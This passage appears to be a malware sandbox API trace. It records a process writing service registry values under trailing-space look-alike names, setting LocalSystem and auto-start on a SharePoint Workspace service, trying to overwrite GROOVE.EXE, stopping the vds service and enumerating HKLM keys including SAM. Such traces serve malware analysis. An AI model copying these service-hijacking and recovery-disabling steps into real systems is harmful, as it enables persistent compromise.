lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.145] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.145] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.145] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0255.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0255.145] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0255.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0255.145] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.146] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.147] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0255.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0255.147] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0255.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.147] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.148] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.149] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0255.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0255.149] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.149] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.150] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.150] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.150] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.150] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.150] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.150] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.150] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.150] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0255.150] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7df7b8*="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0255.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0255.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0255.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.150] LocalFree (hMem=0x7df7b8) returned 0x0 [0255.150] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0255.151] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x2) returned 0x8038a0 [0255.151] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0255.152] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0255.197] RegCloseKey (hKey=0x148) returned 0x0 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0255.197] RegCloseKey (hKey=0x150) returned 0x0 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0255.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0255.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cb74000, ftLastWriteTime.dwHighDateTime=0x1cacbae, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0255.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0255.197] GetLastError () returned 0x20 [0255.197] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0255.198] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0255.198] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0255.198] OpenServiceW (hSCManager=0x803918, lpServiceName="vds", dwDesiredAccess=0x20) returned 0x803990 [0255.199] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0255.199] GetLastError () returned 0x425 [0255.199] CloseServiceHandle (hSCObject=0x803990) returned 1 [0255.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0255.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0255.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0255.200] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0255.200] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.200] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.200] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0255.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.200] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.201] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 